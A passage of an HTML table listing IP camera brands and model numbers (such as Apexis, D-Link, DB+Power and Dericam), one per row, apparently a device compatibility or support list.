 <td>Apexis APM-J0233</td>
</tr>
<tr>
 <td>Apexis APM-J8015-WS</td>
</tr>
<tr>
 <td>Apexis GENERIC</td>
</tr>
<tr>
 <td>Apexis H</td>
</tr>
<tr>
 <td>Apexis HD</td>
</tr>
<tr>
 <td>Apexis J</td>
</tr>
<tr>
 <td>Apexis Other</td>
</tr>
<tr>
 <td>Apexis PIPCAM8</td>
</tr>
<tr>
 <td>Apexis Pyle</td>
</tr>
<tr>
 <td>Apexis XF-IP49</td>
</tr>
<tr>
 <td>Apexis apexis</td>
</tr>
<tr>
 <td>Apexis apm-</td>
</tr>
<tr>
 <td>Apexis dealextreme</td>
</tr>
<tr>
 <td>Aquila+Vizion Other</td>
</tr>
<tr>
 <td>Area51 Other</td>
</tr>
<tr>
 <td>ArmorView Other</td>
</tr>
<tr>
 <td>Asagio A622W</td>
</tr>
<tr>
 <td>Asagio Other</td>
</tr>
<tr>
 <td>Asgari 720U</td>
</tr>
<tr>
 <td>Asgari Other</td>
</tr>
<tr>
 <td>Asgari PTG2</td>
</tr>
<tr>
 <td>Asgari UIR-G2</td>
</tr>
<tr>
 <td>Atheros ar9285</td>
</tr>
<tr>
 <td>AvantGarde SUMPPLE</td>
</tr>
<tr>
 <td>Axis 1054</td>
</tr>
<tr>
 <td>Axis 241S</td>
</tr>
<tr>
 <td>B-Qtech Other</td>
</tr>
<tr>
 <td>B-Series B-1</td>
</tr>
<tr>
 <td>BRAUN HD-560</td>
</tr>
<tr>
 <td>BRAUN HD505</td>
</tr>
<tr>
 <td>Beaulieu Other</td>
</tr>
<tr>
 <td>Bionics Other</td>
</tr>
<tr>
 <td>Bionics ROBOCAM</td>
</tr>
<tr>
 <td>Bionics Robocam</td>
</tr>
<tr>
 <td>Bionics T6892WP</td>
</tr>
<tr>
 <td>Bionics t6892wp</td>
</tr>
<tr>
 <td>Black+Label B2601</td>
</tr>
<tr>
 <td>Bravolink Other</td>
</tr>
<tr>
 <td>Breno Other</td>
</tr>
<tr>
 <td>CDR+king APM-J011-WS</td>
</tr>
<tr>
 <td>CDR+king Other</td>
</tr>
<tr>
 <td>CDR+king SEC-015-C</td>
</tr>
<tr>
 <td>CDR+king SEC-016-NE</td>
</tr>
<tr>
 <td>CDR+king SEC-028-NE</td>
</tr>
<tr>
 <td>CDR+king SEC-029-NE</td>
</tr>
<tr>
 <td>CDR+king SEC-039-NE</td>
</tr>
<tr>
 <td>CDR+king sec-016-ne</td>
</tr>
<tr>
 <td>CDXX Other</td>
</tr>
<tr>
 <td>CDXXcamera Any</td>
</tr>
<tr>
 <td>CP+PLUS CP-EPK-HC10L1</td>
</tr>
<tr>
 <td>CPTCAM Other</td>
</tr>
<tr>
 <td>Camscam JWEV-372869-BCBAB</td>
</tr>
<tr>
 <td>Casa Other</td>
</tr>
<tr>
 <td>Cengiz Other</td>
</tr>
<tr>
 <td>Chinavasion Gunnie</td>
</tr>
<tr>
 <td>Chinavasion H30</td>
</tr>
<tr>
 <td>Chinavasion IP611W</td>
</tr>
<tr>
 <td>Chinavasion Other</td>
</tr>
<tr>
 <td>Chinavasion ip609aw</td>
</tr>
<tr>
 <td>Chinavasion ip611w</td>
</tr>
<tr>
 <td>Cloud MV1</td>
</tr>
<tr>
 <td>Cloud Other</td>
</tr>
<tr>
 <td>CnM IP103</td>
</tr>
<tr>
 <td>CnM Other</td>
</tr>
<tr>
 <td>CnM sec-ip-cam</td>
</tr>
<tr>
 <td>Compro NC150/420/500</td>
</tr>
<tr>
 <td>Comtac CS2</td>
</tr>
<tr>
 <td>Comtac CS9267</td>
</tr>
<tr>
 <td>Conceptronic CIPCAM720PTIWL</td>
</tr>
<tr>
 <td>Conceptronic cipcamptiwl</td>
</tr>
<tr>
 <td>Cybernova Other</td>
</tr>
<tr>
 <td>Cybernova WIP604</td>
</tr>
<tr>
 <td>Cybernova WIP604MW</td>
</tr>
<tr>
 <td>D-Link DCS-910</td>
</tr>
<tr>
 <td>D-Link DCS-930L</td>
</tr>
<tr>
 <td>D-Link L-series</td>
</tr>
<tr>
 <td>D-Link Other</td>
</tr>
<tr>
 <td>DB+Power 003arfu</td>
</tr>
<tr>
 <td>DB+Power DBPOWER</td>
</tr>
<tr>
 <td>DB+Power ERIK</td>
</tr>
<tr>
 <td>DB+Power HC-WV06</td>
</tr>
<tr>
 <td>DB+Power HD011P</td>
</tr>
<tr>
 <td>DB+Power HD012P</td>
</tr>
<tr>
 <td>DB+Power HD015P</td>
</tr>
<tr>
 <td>DB+Power L-615W</td>
</tr>
<tr>
 <td>DB+Power LA040</td>
</tr>
<tr>
 <td>DB+Power Other</td>
</tr>
<tr>
 <td>DB+Power Other2</td>
</tr>
<tr>
 <td>DB+Power VA-033K</td>
</tr>
<tr>
 <td>DB+Power VA0038K</td>
</tr>
<tr>
 <td>DB+Power VA003K+</td>
</tr>
<tr>
 <td>DB+Power VA0044_M</td>
</tr>
<tr>
 <td>DB+Power VA033K</td>
</tr>
<tr>
 <td>DB+Power VA033K+</td>
</tr>
<tr>
 <td>DB+Power VA035K</td>
</tr>
<tr>
 <td>DB+Power VA036K</td>
</tr>
<tr>
 <td>DB+Power VA038</td>
</tr>
<tr>
 <td>DB+Power VA038k</td>
</tr>
<tr>
 <td>DB+Power VA039K</td>
</tr>
<tr>
 <td>DB+Power VA039K-Test</td>
</tr>
<tr>
 <td>DB+Power VA040</td>
</tr>
<tr>
 <td>DB+Power VA390k</td>
</tr>
<tr>
 <td>DB+Power b</td>
</tr>
<tr>
 <td>DB+Power b-series</td>
</tr>
<tr>
 <td>DB+Power extcams</td>
</tr>
<tr>
 <td>DB+Power eye</td>
</tr>
<tr>
 <td>DB+Power kiskFirstCam</td>
</tr>
<tr>
 <td>DB+Power va033k</td>
</tr>
<tr>
 <td>DB+Power va039k</td>
</tr>
<tr>
 <td>DB+Power wifi</td>
</tr>
<tr>
 <td>DBB IP607W</td>
</tr>
<tr>
 <td>DEVICECLIENTQ CNB</td>
</tr>
<tr>
 <td>DKSEG Other</td>
</tr>
<tr>
 <td>DNT CamDoo</td>
</tr>
<tr>
 <td>DVR DVR</td>
</tr>
<tr>
 <td>DVS-IP-CAM Other</td>
</tr>
<tr>
 <td>DVS-IP-CAM Outdoor/IR</td>
</tr>
<tr>
 <td>Dagro DAGRO-003368-JLWYX</td>
</tr>
<tr>
 <td>Dagro Other</td>
</tr>
<tr>
 <td>Dericam H216W</td>
</tr>
<tr>
 <td>Dericam H502W</td>
</tr>
<tr>
 <td>Dericam M01W</td>
</tr>
<tr>
 <td>Dericam M2/6/8</td>
</tr>
<tr>
 <td>Dericam M502W</td>
</tr>
<tr>
 <td>Dericam M601W</td>
</tr>
<tr>
 <td>Dericam M801W</td>
</tr>
<tr>
 <td>Dericam Other</td>
</tr>
<tr>
 <td>Digix Other</td>
</tr>
<tr>
 <td>Digoo BB-M2</td>
</tr>
<tr>
 <td>Digoo MM==BB-M2</td>
</tr>
<tr>
 <td>Digoo bb-m2</td>
</tr>
<tr>
 <td>Dinon 8673</td>
</tr>
<tr>
 <td>Dinon 8675</td>
</tr>
<tr>
 <td>Dinon SEGEV-105</td>
</tr>
<tr>
 <td>Dinon segev-103</td>
</tr>
<tr>
 <td>Dome Other</td>
</tr>
<tr>
 <td>Drilling+machines Other</td>
</tr>
<tr>
 <td>E-Lock 1000</td>
</tr>
<tr>
 <td>ENSIDIO IP102W</td>
</tr>
<tr>
 <td>EOpen Open730</td>
</tr>
</tbody></table>